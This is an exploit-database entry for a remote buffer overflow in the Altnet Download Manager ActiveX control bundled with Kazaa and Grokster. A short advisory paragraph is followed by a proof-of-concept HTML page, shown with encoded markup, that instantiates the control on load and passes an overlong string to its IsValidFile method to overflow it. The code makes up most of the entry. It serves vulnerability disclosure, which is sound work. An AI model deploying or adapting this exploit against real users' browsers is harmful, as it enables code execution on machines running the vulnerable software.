Grokster 1.3/2.6,KaZaA Media Desktop 1.3.x/1.6.1/2.0.x ActiveX Control Remote Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Remote Buffer Overflow in Altnet ActiveX Contro


                                                source: http://www.securityfocus.com/bid/11101/info

Altnet is reported prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.

&#60;HTML&#62;
&#60;HEAD&#62;
This overrun occurs in \program files\Altnet\Download Manager\adm.exe
This executable is installed along with Kazaa and Grokster.
&#60;META http-equiv=Content-Type content=&#34;text/html; charset=windows-1252&#34;&#62;
&#60;SCRIPT type=text/javascript&#62;

function init()
{
var foo = &#34;&#34;;
for(var icount = 0; icount &#60; 1; icount++)
{
foo = foo +
&#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxxx&#34;;
}

var ngssoftware;
ngssoftware = new ActiveXObject(&#34;ADM.ADM.1&#34;);

ngssoftware[&#34;IsValidFile&#34;](foo);
}
//--&#62;
&#60;/SCRIPT&#62;

&#60;/HEAD&#62;
&#60;BODY bgColor=#ffffff onload=init()&#62;
&#60;/BODY&#62;&#60;/HTML&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1